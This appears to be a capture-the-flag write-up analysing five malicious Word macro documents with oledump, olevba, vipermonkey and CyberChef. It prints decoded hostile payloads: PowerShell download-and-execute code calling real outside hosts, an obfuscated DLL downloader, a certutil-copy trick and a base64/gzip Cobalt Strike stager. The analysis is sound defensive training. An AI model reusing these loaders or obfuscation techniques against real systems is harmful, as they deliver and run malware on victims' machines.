Squid Game
오징어 게임
Attacker 1
- analyzing the doc file
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ oledump.py attacker1.doc
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 13859 '1Table'
5: 33430 'Data'
6: 365 'Macros/PROJECT'
7: 41 'Macros/PROJECTwm'
8: M 9852 'Macros/VBA/ThisDocument'
9: 5460 'Macros/VBA/_VBA_PROJECT'
10: 513 'Macros/VBA/dir'
11: 306 'MsoDataStore/ÇYÕXGNÎÕÃUKWÛÎIS2BKÍÐÐ==/Item'
12: 341 'MsoDataStore/ÇYÕXGNÎÕÃUKWÛÎIS2BKÍÐÐ==/Properties'
13: 4096 'WordDocument'
- First I looked for strings with
oledump.py attacker1.doc -s 1 -S
on every stream - I didn’t directly find a domain in the strings, but there was a very long string in stream 4 that seemed to be base64 encoded with extra
[
characters
[ ... SNIP ... ]
[Bp[G4[cwB0[GE[bgBj[GU[I[[9[C[[WwBT[Hk[cwB0[GU[bQ[u[EE[YwB0[Gk[dgBh[HQ[bwBy[F0[Og[6[EM[cgBl[GE[d[Bl[Ek[bgBz[HQ[YQBu[GM[ZQ[o[CI[UwB5[HM[d[Bl[G0[LgBO[GU[d[[u[Fc[ZQBi[EM[b[Bp[GU[bgB0[CI[KQ[7[[0[Cg[k[G0[ZQB0[Gg[bwBk[C[[PQ[g[Fs[UwB5[HM[d[Bl[G0[LgBO[GU[d[[u[Fc[ZQBi[EM[b[Bp[GU[bgB0[F0[LgBH[GU[d[BN[GU[d[Bo[G8[Z[Bz[Cg[KQ[7[[0[CgBm[G8[cgBl[GE[YwBo[Cg[J[Bt[C[[aQBu[C[[J[Bt[GU[d[Bo[G8[Z[[p[Hs[DQ[K[[0[Cg[g[C[[aQBm[Cg[J[Bt[C4[TgBh[G0[ZQ[g[C0[ZQBx[C[[IgBE[G8[dwBu[Gw[bwBh[GQ[UwB0[HI[aQBu[Gc[Ig[p[Hs[DQ[K[C[[I[[g[C[[d[By[Hk[ew[N[[o[I[[g[C[[I[[g[CQ[dQBy[Gk[I[[9[C[[TgBl[Hc[LQBP[GI[agBl[GM[d[[g[FM[eQBz[HQ[ZQBt[C4[VQBy[Gk[K[[i[Gg[d[B0[H[[Og[v[
[ ... SNIP ... ]
- From this I decided to inspect the macro to search for clues
- The
M
on VBA steam 8 means that it contains a VBA macro - VBA decode with
oledump.py attacker1.doc -s 8 -v
[ ... SNIP ... ]
VBA.Shell# "CmD /C " + Trim(rjvFRbqzLtkzn) + SKKdjMpgJRQRK + Trim(Replace(pNHbvwXpnbZvS.AlternativeText + "", "[", "A")) + hdNxDVBxCTqQTpB + RJzJQGRzrc + CWflqnrJbKVBj, CInt(351 * 2 + -702)
[ ... SNIP ... ]
- Replacing
A
with[
lines up with the encoded string we found before - I pasted the command block into cyberchef, used find and replace to replace the
[
’s withA
’s, then base64 decoded i - Null bytes weren’t going away so i used a different site, pasted the output into my own editor, and used find and replace locally to get rid of non alphabetical characters
$instance = [System.Activator]::CreateInstance("System.Net.WebClient");
$method = [System.Net.WebClient].GetMethods();
foreach($m in $method){
if($m.Name -eq "DownloadString"){
try{
$uri = New-Object System.Uri("http://176.32.35.16/704e.php")
IEX($m.Invoke($instance, ($uri)));
}catch{}
}
if($m.Name -eq "DownloadData"){
try{
$uri = New-Object System.Uri("http://fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas")
$response = $m.Invoke($instance, ($uri));
$path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe";
[System.IO.File]::WriteAllBytes($path, $response);
$clsid = New-Object Guid 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
$type = [Type]::GetTypeFromCLSID($clsid)
$object = [Activator]::CreateInstance($type)
$object.Document.Application.ShellExecute($path,$nul, $nul, $nul,0)
}catch{}
}
}
Exit;
- Answers to the first two questions are readable in the code, but the folder path for question 3 is
%ProgramData%
- This is because that is the folder that
"CommonApplicationData"
points to - To find the
COM
object, we can look up the clsid from this line$clsid = New-Object Guid 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
- I found this line in the description of a search result
Please note the following before proceeding: “C08AFD90-F2A1-11D1-8455-00A0C91F3880” is the Class ID (CLSID) for ShellBrowserWindow
- So the
COM
object is calledShellBrowserWindow
- The next question is also in plain text in the code, so now we on to finding the phone number
- This was in stream 3 (and the bottom of stream 4)
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ oledump.py attacker1.doc -s 3 -S
Networked multi-state projection
West Virginia Samanta
213-446-1757 x7135
Re-contextualized radical service-desk
Normal
Windows
Microsoft Office Word
- To find the keyword I used
olevba attacker1.doc
- The type
AutoExec
is listed next to the keywordAutoOpen
- To find the subject I used
olemeta
olemeta
also has a last saved time, but that wasn’t the correct answer so I used the hint and found it witholetimes
instead- The stream that contains a macro is the VBA steam
8
which we figured out before and the name is only the last sectionThisDocument
Attacker 2
- Same process as before for finding the streams that contain macros
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ oledump.py attacker2.doc
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 7427 '1Table'
5: 63641 'Data'
6: 97 'Macros/Form/\x01CompObj'
7: 283 'Macros/Form/\x03VBFrame'
8: 63528 'Macros/Form/f'
9: 2220 'Macros/Form/o'
10: 566 'Macros/PROJECT'
11: 92 'Macros/PROJECTwm'
12: M 6655 'Macros/VBA/Form'
13: M 15671 'Macros/VBA/Module1'
14: M 1593 'Macros/VBA/ThisDocument'
15: 42465 'Macros/VBA/_VBA_PROJECT'
16: M 2724 'Macros/VBA/bxh'
17: 1226 'Macros/VBA/dir'
18: 4096 'WordDocument'
- Question 3 can also be answered with this output
- For question 2, I added the
-i
flag to the command which adds a new column specifying the amount of compiled bytes
13: M 15671 13867+1804 'Macros/VBA/Module1'
- The first number in the addition is the size of the compiled macro
- To find the ‘fun’ field, I output all the VBA stream info with the
-s a
option
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ oledump.py attacker2.doc -s a -v | grep fun | rev
))84(rhC ,)"cmd /k cscript.exe C:\ProgramData\pin.vbs"(esreveRrtS(llehS = nuf
- To find the first domain I used the strings search option on all the streams with
-s a -S
then grepped forhttp
- The first domain wasn’t suspicious, so I scrolled through the output until I found one that looked malicious, which was
http://priyacareers.com/u9hDQN9Yy7g/pt.html
(remove thehttp://
for submission) - The answer to the next question was right under this in the output
- Here is a sample of the output:
LL1 = "$Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://priyacareers.com/u9hDQN9Yy7g/pt.html'',''C:\ProgramData\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
- For each referenced domain, you can find the corresponding downloaded
.dll
file - The next few questions about number of dlls and destination paths can be answered from this output as well
- To find the program used to run dlls I just ran strings on the entire file because it wasn’t visible in the previous output found the answer at the bottom
strings attacker2.doc | grep dll
- To find the sleep amount I just repeated my previous command, grepping for
sleep
instead ofhttp
- For the last question I narrowed down the possible streams to 8 and 9 based on the answer format and checked both, ending up with
Macros/Form/o
stream 9
Attacker 3
- Started by running
oledump.py
to get a baseline overview
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ oledump.py attacker3.doc
A: word/vbaProject.bin
A1: 423 'PROJECT'
A2: 53 'PROJECTwm'
A3: M 2017 'VBA/T'
A4: m 1127 'VBA/ThisDocument'
A5: 2976 'VBA/_VBA_PROJECT'
A6: 1864 'VBA/__SRP_0'
A7: 190 'VBA/__SRP_1'
A8: 348 'VBA/__SRP_2'
A9: 106 'VBA/__SRP_3'
A10: M 1291 'VBA/d'
A11: 723 'VBA/dir'
- For the first question, I ran strings through
oledump
and grepped forexe
files
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ oledump.py attacker3.doc -s a -S | grep exe
cmd /c set u=tutil&&call copy C:\Windows\System32\cer%u%.exe C:\ProgramData\1.exe
- For the next question, we can see from the line above that the file
cer%u%.exe
is obfuscated by removing two sections of the name - Based on the command (or just inferring) we can find that the full name is
certutil
- To find the malicious
URI
, I tried grepping forhttp
though VBA and string filters, but I got no results - After searching around a bit, I found the tool
vipermonkey
, a tool for VBA macro emulation, preinstalled on the VM - I ran
vmonkey attacker3.doc
, and found the URI in theINFO
output, as well as the folder where the binary gets dropped (ProgramData
as usual) - For the last question I just ran strings through
oldeump
and grepped for1.exe
until I found the right stream
Attacker 4
- I started off with
oledump
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ oledump.py attacker4.doc
1: 113 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 4096 '1Table'
5: 438 'Macros/PROJECT'
6: 41 'Macros/PROJECTwm'
7: M 17216 'Macros/VBA/ThisDocument'
8: 10917 'Macros/VBA/_VBA_PROJECT'
9: 515 'Macros/VBA/dir'
10: 4142 'WordDocument'
- Then analyzed the VBA with the macro with this command
oledump.py attacker4.doc -s 7 -v
- Searching for encoded strings, I found this section which appeared to be a collection of hex encoded text
Environ(XORI(Hextostring("3C3F3A03"), Hextostring("687A7753"))) & XORI(Hextostring("1217092B0F0718371F1F133560362807"), Hextostring("4E535062"))
- I scrolled back up to find the first instance of hex encoding which was this:
Set VPBCRFOQENN = CreateObject(XORI(Hextostring("3F34193F254049193F253A331522"), Hextostring("7267417269")))
- Since there is a
XOR
operation I pasted the first string into cyberchef, hex decoded it, then XORed it with the second string resulting inMSXML2.XMLHTTP
- For the next question, I grepped out all the strings with
XORI
, pasted them into cyberchef, and decoded them with the same strategy until I found the binary, which was using the hex encoded string1217092B0F0718371F1F133560362807
- There aren’t many 4 character folder names, so I just assumed
Temp
for the next answer - I extracted the second binary and domain answers from the string
1C3B2404757F5B2826593D3F00277E102A7F1E3C7F16263E5A2A2811
Attacker 5
- you know the drill,
oledump
for the overview
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ oledump.py attacker5.doc
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 7157 '1Table'
5: 97 'Macros/CatchMeIfYouCan/\x01CompObj'
6: 313 'Macros/CatchMeIfYouCan/\x03VBFrame'
7: 7566 'Macros/CatchMeIfYouCan/f'
8: 84 'Macros/CatchMeIfYouCan/o'
9: 557 'Macros/PROJECT'
10: 113 'Macros/PROJECTwm'
11: M 1473 'Macros/VBA/CatchMeIfYouCan'
12: M 994 'Macros/VBA/Module1'
13: m 924 'Macros/VBA/ThisDocument'
14: 3394 'Macros/VBA/_VBA_PROJECT'
15: 889 'Macros/VBA/dir'
16: 4096 'WordDocument'
- For the first question I did a basic case insensitive grep with strings on the file for
caption
strings attacker5.doc | grep -i caption
Caption = "CobaltStrikeIsEverywhere"
- Dumping all the files with
-s a S
I found a really long base64 encoded string - Decoding it and removing null bytes
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1XbXOiyhL+HH8FH1KllsagqIl7a6sOKCgq+IJvMSeVGmBQlHcGkJzd/34a1Jzs3ey9W3WvVZTDTHdP99PP9DQKJncKCUyNSK6OqbsVDkLTdahGoXDbc0VCfaX+KBaMyNFINp0NXneYvHqBq70iXQ9wGFJ/FW6mKEA2VbqNUfBqu3pk4SqVv2SCWI8CXL65KdzkU5ETIgO/OoiYMX61Mdm7eggblZ5Zz+u5NjKdly9fulEQYIec32t9TNgwxLZqmTgslalv1HqPA3w3UQ9YI9Rf1O1rrW+5KrIuYmkXaXsIiHX0bG3saiiLoKZ4lklKxT//LJaf7+ovNd6PkBWWikoaEmzXdMsqlqnv5WzDRerhUlEytcANXYPU1qbDNGrL3Hs5d146+14sXyLbeQji+HWQmdWzTqkIwylgw54xLFap52y/55cX6o93b+aRQ0wb10SH4MD1FBzEpobD2gA5uoXn2AC1Ygjpc3bFMjgRYBIFDnX1BfRi94hLt05kWVWw+/y7dl9KMk6u4P6uUumjEkhNSVCuXjjxO3BIOW/O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zi588Hef9xUrbso2WtF560wUtSkJCL9iEsAu+tZhZ+mi27PT7rBxpfc9mT6HMn3Y9HfIxp0/LJSsTPZHWvbn4xDL6XDnqmb3cRp+VZHW9ZdgGF2szad6bS7Kwl5b8fDYam8fDk9HnFiuFn/H39n1LN1r3htc9CHHznrVZJ0Z1s5J0VNu+f2jvuCWzWwZrmfeTJRTHdGGdjAer0xrFJpru2/POQeVXXtwQJHomeYr9GD/MkSHvOG4tTfcHo8F1T29m325BeblnpQRXUt+RugMhUvvtlhJIRofVeg8TdDAbiq0v7fUmkOlWxdgNjrPJkCFvKaL5Jb91jUpo8P5h3GptjHuMhsJhw9U3k9WE7fgztx3vpWByaA6OXLSPJknF0WIjXs9pQ0Lq02C6NwbN+kRwLVOKhGaF47ZaXWGSRG7Ku21XHtMtxOnAU2Utj8U34DMdHsSGdNB58rBnen3gYWIDX4BHZsUZJn4IPE2lnpjKGVdPBAVcztW6YfndmdkcqQfgyENTikYQhMbvZyvI1YJn6bUwo9X+xVZWjQw3gP7ilN3Z/6Lg/84i1Hu9gSoDBSybr1TK2b3/vvJ8e3q59mnv73fqCawxrax25Ssx+lCxftX8SCgI98iCSgYNzPX6EdxAuLQhU9fMNEqlzzvnIw4cbEFXCX3ntWizluVqWeP0iw4G2rhzc/UCl9MShkzj01GZeheEbukckxoZRt5cXCK89lhXwS9fthBe9QOIY+zsyL5K0SeGpunsv0mXC78PS9f10tK7uWrWXH3w5ONOVr5T+YJ+EDk2/j8m4IdN/zu0GXh5f/YOXe7Q53iVC8U/CgXRoD7Mh+YbfH1gn3rMuRcCzcndwVXhUyW/e0u3qEyJ/Ia6RdR36g7CY0OmAd8rwS7KLmLq/Pn1jUqQeVb8Rs2xhqF9vhu6KrAUQz+Vmc6NZMIw9zeUY8Fkzw0AAA=="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
- Based on the line
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
this also appears to be compressed usinggunzip
- I removed the plaintext commands from around the string base64 decoded it again and used the cyberchef
gunzip
option - At the bottom of the output was
-bxor 35
, which is the number we’re looking for - To find the IP, paste the script output into cyberchef and XOR it with the key
35
. There is a readable IP address at the bottom of the output, as well as a user agentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
- Since cobalt strike C2s are usually known, I grabbed the
sha256sum
of the doc file, looked it up on virustotal, and found the path in the relations tab
ubuntu@ip-10-10-50-135:~/Desktop/maldocs$ sha256sum attacker5.doc
55c9ff8f829bf0d5bbec83127570ad149bd18bc0351c59933090af917b4451db attacker5.doc
- The port number is also available in the relations tab
- The apis can be found by downloading the file we decoded ealier from cyberchef and loading it into
scdbgc
with the commandscdbgc -f download.dat -s -1
- The APIs are in the output
[ ... SNIP ... ]
4010a2 LoadLibraryA(wininet)
4010b0 InternetOpenA()
[ ... SNIP ... ]
- Done!